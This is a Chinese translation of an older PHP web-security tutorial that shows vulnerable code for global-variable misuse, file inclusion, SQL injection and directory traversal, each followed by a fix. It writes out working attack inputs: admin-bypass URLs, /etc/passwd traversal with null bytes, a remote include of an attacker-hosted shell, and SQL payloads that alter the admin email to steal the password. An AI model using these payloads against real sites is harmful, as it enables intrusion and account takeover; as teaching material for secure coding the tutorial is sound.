| 关键词: 文件 变量 php 修补 语句 面的 admin email 漏洞 代码 |
php安全之谜(PHP Undergroud Security) 文章作者:Omnipresent 译文作者:riusksk(泉哥) 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) -[ 作者信息 ]----------------------------------------------------------------------- 标题: "PHP Undergroud Security" 作者: Omnipresent 邮箱: [email protected] - [email protected] 主页: http://omni.playhack.net - http://www.playhack.net 日期: 2007-04-12 --------------------------------------------------------------------------------- -[ 译者信息 ]----------------------------------------------------------------------- 译者:riusksk(泉哥) 邮箱:[email protected] 主页: http://riusksk.blogbus.com 日期:2008-11-15 --------------------------------------------------------------------------------- -[ 摘要 ]--------------------------------------------------------------------- 0x00: 前言 0x01: 关注全局变量 修补 0x02: 文件包含 修补 0x03: 跨站脚本 0x04: SQL注入 \_ 0x04a: 绕过登陆验证 \_ 0x04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!) 修补 0x05: 文件遍历 修补 0x05: 结论 ---[ 0x00: 前言] 大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语. 在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它! -----------------------------------------------------------------------------[/] ---[ 0x01: 关注全局变量] 在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。 众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码: [...] if ($is_admin == 1) { //Yes, I'm the admin so call the Administration Pannel [...] } else { //No, I'm not the admin [...] } 上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如: http://remote_host/bugged.php?is_admin=1 ---[ 修补 ]--- 如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下: $is_admin = 0; [...] if ($is_admin == 1) { //Yes, I'm the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面) [...] } else { //No, I'm not the admin(为假,则不是管理员) [...] } -----------------------------------------------------------------------------[/] ---[ 0x02: 文件包含] -----[本地文件包含] PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。 在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码: <?php include "/users/".$include_path.".php"; [...] ?> 变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。 用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如: http://remote_host/bugged.php?include_path=../../../../etc/passwd%00 包含后的结果如下: <?php include "/users/../../../../etc/passwd%00.php" [...] ?> 因此攻击者可以窃取到存在服务器上的所有密码。 - [ 注意 ] - %00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include "/users/".$include_path.".PHP") ------------------------------------------------------------------------------- -----[ 远程文件包含] 先看一下下面的代码: <?php [...] include($_GET['pag']); [...] ?> 正如我们所看到的,变量$page 在使用前并未进行任何验证,因此恶意用户可以通过浏览器包含或者调用他的脚本,从而获得被害者电脑的访问权或者像上面说的一样——浏览文件。 例1(提权): http://remote_host/inc.php?pag=[Evil Script - our shell located on our server] 例2(浏览文件): http://remote_host/inc.php?pag=/etc/passwd ---[ 修补 ]--- 如何解决这种问题呢?验证输入值就可以了。用得最多的一个验证方法就是创建一个可访问页面的列表,如下: [...] $pag = $_GET['pag']; $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php'); if(in_array($pag, $pages)) { include($pag); { else { die("Hacking Attempt!"); } [...] -----------------------------------------------------------------------------[/] ---[ 0x03: 跨站脚本] 你是否想知道一些关于XSS的资料呢?关于这方面的内容,我的朋友已经写了很多了,我想我没必要再做重复的工作了,具体可以看下面的链接: [+] "Cross-Site Scripting for Fun and Profit" http://www.playhack.net/view.php?type=1&id=18 [+] "Applying XSS to Phishing Attacks" http://www.playhack.net/view.php?type=1&id=20 -----------------------------------------------------------------------------[/] ---[ 0x03: SQL 注入] SQL注入,如名字所述:在一个存在漏洞的WEB程序中,你可以在请求语句中注入SQL语句。 -----------------------------------------------------------------------------[/] ------[ 0x04b 绕过登陆验证] 在举例之前,我们必须先知晓一些关于SQL的内容: - (') 这是什么呢?对攻击者来说,这是一个SQL语法中的操作符,这在漏洞攻击中是非常重要的,它可以用于划分字符串… - (#) 用于注释,'#'(没有分号),这在SQL语法中用于作注释用的。记住它,因为它非常实用和重要! - (;) 这个符号在数据库中可以用于构造新的请求语句。呆会我们看一下用它来入侵的实际操作,先看一下下面的例子(绕过登陆验证--获取管理权限): <?php // login.php $nick = $_POST['nick']; $pass = $_POST['pass']; $link = mysql_connect('localhost', 'root', 'root') or die('Error: '. mysql_error()); mysql_select_db("sql_inj", $link); $query = mysql_query("SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'", $link); if (mysql_num_rows($query) == 0) { echo "<script type=\"text/javascript\">window.location.href='index.html';</script>"; exit; } $logged = 1; [...] //EoF ?> 虽然这段脚本代码非常简单,但是这在学习SQL注入时非常有用。正如我们所看到的,变量$nick和 $pass用于SQL请求时并未进行任何有效地验证,因此我们可以注入我们的SQL代码!看一下下面的请求语句: "SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'" What happends if we pass two variables tainted like these: 假如我们输入经恶意构造的这两个变量,那么将会发生什么事呢,例如: $nick = 1' OR '1' = '1 $pass = 1' OR '1' = '1 The new query will be: 构成新的请求语句: "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' AND pass ='1' OR '1' = '1'" 如果你已经知道了关于数据库中的表的知识,但还未弄清楚上面的语句,那么可以看看下面的解释,以帮助你理解它。 1 OR 1 = 1 ?? 1或者1等于1?很明显的!那么谁是'sql_inj'表中的第一位用户呢?会是安装这一WEB程序的人吗?没错!就是管理员。 因此我们可以以管理员的身份登陆网站,这样我们就成为管理员了,酷吧! 我们也可以输入下列请求: $nick = 1' OR '1' = '1' # $pass = what_we_want_to_put 构成新一请求语句: "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put" 之前我们已经说过'#'是注释用的!现在我们重新构成新的请求语句: "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' 现在我们又变成管理员了:D ------[ 0x04b: 1 Query? No.. 2 one! ] 通过SQL注入,我们可以通过修改请求语句,从而注入新的数据,更改用户资料,还可以做其它事……让我们看一下下面的源代码: <?php //email.php [...] $email = $_POST['email']; [...] $query = mysql_query("SELECT email, passwd, user_name FROM users WHERE email = '".$email."'"); [...] ?> 在这里,变量$email 在使用前并未进行任何有效地验证,因此我们可以利用它了。比如通过输入像下面的变量值就可以很容易地更新数据库信息了: $email = x'; UPDATE users SET email = '[email protected]' WHERE email = '[email protected] '; 构造新的请求语句: SELECT email, passwd, user_name FROM users WHERE email = ' x'; UPDATE users SET email = '[email protected]' WHERE email = '[email protected] '; 这里攻击者可以修改 'users' 表,特别是管理员的邮箱,利用他的邮箱,我可以通过“忘记了密码?”这一链接,利用邮箱(这里是[email protected])接收一封像下列内容的邮件,从而达到目的: From: [email protected] To: [email protected] Subject: Login Password Ehy.. take it ;) Username: Admin Password: 12345 Regards, Admin ---[ 修补 ]--- 首先可以通过修改php.ini文件来修补脚本漏洞: 1. 在所有的' (单引号) , “ (双引号) , \ (反斜线)以及NULL前自动加上转义符——反斜线“\” -COOKIE -POST -GET 2. 在字符串前加上斜线‘/’ 3. 将指定的字符转换为HTML实体 4.转义在mysql-query中使用的字符串 5. 可以到 www.php.net 查看更多的函数 (译注: www.php.net 是一个不错的PHP在线查询站点,我经常用它来查询PHP函数及其它相关资料。) 6. 验证用户提取的数据,例如: $user_id = (int)$_GET['user_id']; $user_id is always an integer and we can cast the input for securing our web applications. 变量$user_id 总为整数,这样就可以确保在WEB程序中输入数据的安全了。 -----------------------------------------------------------------------------[/] ---[ 0x05: 文件遍历] 遍历文件是一个十分危重的漏洞,下面简单讲解一下该漏洞。 无论在什么时候,当我们需要使用文件时都需要检查一下脚本中的文件名及其路径。 在大多情况下,文件名都是作为函数fopen()的参数来传输的,比如: <?php [...] $fp = fopen("/path/{$_GET['filename']}.txt", 'r'); [...] ?> 由于在这段脚本代码中'filename' 可被被远程用户修改破坏,这就造成了文件遍历漏洞。 在这种情况下,攻击者可以通过使用多个"../"来移动目录查看文件。 例如: http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00 NULL Byte (%00)在许多攻击中多用于截断字符串,以突破文件扩展名的限制。 ---[ 修补 ]--- 修补这一漏洞最好的方法就是使用basename()函数,例如: <?php $clean = array(); if (basename($_GET['filename']) == $_GET['filename']) { $clean['filename'] = $_GET['filename']; } else { [...] } $fp = fopen("/path/{$clean['filename']}.txt", 'r'); ?> -----------------------------------------------------------------------------[/] ---[ 0x06: 结论 ] 这是"PHP Undergroud Security"的结尾了,希望本文对你打造php安全代码有所帮助! 有任何问题可发送邮件至 [email protected] 或者 [email protected] 。 -----------------------------------------------------------------------------[/] \=======================[EOF]============== ====== / |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|